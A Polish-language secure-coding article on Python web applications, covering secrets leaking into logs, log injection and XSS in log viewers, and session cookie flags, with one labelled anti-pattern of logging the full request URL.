Logi często traktowane są jako „śmietnik diagnostyczny”: ląduje w nich treść requestów, nagłówki, czasem nawet pełne ciało odpowiedzi. W kontekście bezpieczeństwa jest to mieszanka trzech problemów:

  • wycieki danych wrażliwych (hasła, tokeny, numer PESEL, dane kart),
  • log injection – wstrzykiwanie sekwencji sterujących, które mogą zepsuć format logów,
  • eskalacja błędów: logi zaciągane do paneli administracyjnych bez escapingu HTML/JS.

Prosty błąd: logowanie pełnego URL-a razem z parametrami zapytania:

# NIE RÓB TAK W APLIKACJACH Z LOGINEM/RESETEM HASŁA
logger.info("Request URL: %s", request.url)

Jeśli w linku resetu hasła jest token (classyczny /reset?token=...), trafi on wprost do logów. Przy dostępie do systemu logowania (czasem znacznie szerszym niż do bazy produkcyjnej) można przejąć konta użytkowników. Dodatkowo, jeśli logi są przeglądane w panelu webowym bez filtrowania HTML, atakujący może wstrzyknąć tam prosty XSS, który przejmie cookie administratora panelu.

Rozsądne zasady obejmują:

  • lista pól zakazanych w logach (hasła, tokeny, pełne numery kart, dane medyczne),
  • maskowanie części wrażliwych danych (np. XXXX-XXXX-XXXX-1234),
  • escapowanie danych zanim trafią do webowych viewerów logów (lub przynajmniej wyłączenie HTML-a),
  • unikanie logowania pełnego URL-a, jeśli query string może zawierać sekrety.

Sesje i ciasteczka: kod Pythonowy a granice zaufania

Sesje w aplikacjach Pythonowych są często traktowane jak „bezpieczne” z założenia, bo frameworki (Flask, Django, FastAPI + dodatki) coś tam domyślnie ustawiają. Rzeczywistość jest bardziej skomplikowana. Dwie główne klasy problemów:

  • słabe lub źle skonfigurowane ciasteczka sesyjne,
  • logika sesyjna napisana ręcznie, z pominięciem mechanizmów frameworka.

Jak łatwo zepsuć ciasteczka sesyjne

Ciasteczko sesyjne powinno być trudne do przejęcia i trudne do sfałszowania. W praktyce wiele aplikacji:

  • nie wymusza Secure, więc cookie leci też po HTTP (nie tylko HTTPS),
  • ma wyłączone HttpOnly, więc JavaScript może je odczytać (XSS + kradzież cookie),
  • źle ustawia SameSite, co ułatwia CSRF.

W Django domyślne wartości są rozsądne, ale tylko jeśli:

  • aplikacja rzeczywiście jest wystawiona tylko po HTTPS,
  • nie zostały zmienione sensowne ustawienia w settings.py.

Najważniejsze punkty

  • Wygoda i elastyczność Pythona sprzyjają bagatelizowaniu bezpieczeństwa – kod, który „działa”, bywa latami akceptowany mimo krytycznych luk.
  • Atakujący najczęściej wykorzystują prozaiczne błędy w logice biznesowej i integracjach (eval, sklejenie komend powłoki, brak parametryzacji SQL, zaufanie do konfiguracji), a nie wyszukane luki w samym interpreterze.
  • „Małe” skrypty i pomocnicze narzędzia (admin, CI/CD, ETL, CLI) są szczególnie zdradliwe, bo często mają szerokie uprawnienia, a jednocześnie nikt nie patrzy na nie przez pryzmat bezpieczeństwa.
  • To samo rozwiązanie może być funkcjonalnie poprawne, a jednocześnie stanowić poważną podatność – przykład z formatowanym zapytaniem SQL pokazuje, że kontekst danych wejściowych całkowicie zmienia ocenę ryzyka.
  • Model zagrożeń w Pythonie powinien zaczynać się od pytania: „jakie interakcje z plikami, bazą, systemem i siecią ma ten proces i co się stanie, jeśli dane wejściowe są złośliwe?”.
  • Najczęstsze skutki błędów to nieautoryzowany dostęp do plików i baz, zdalne wykonanie kodu, przejęcie kont oraz ataki DoS – czyli realne przejęcie kontroli nad infrastrukturą, a nie tylko „mały bug”.
  • Etykiety typu „test”, „dev” czy „wewnętrzne narzędzie” nie chronią przed atakami: jeśli te środowiska dzielą zasoby lub uprawnienia z produkcją, kompromitacja „nieistotnego” komponentu bywa najkrótszą drogą do prod.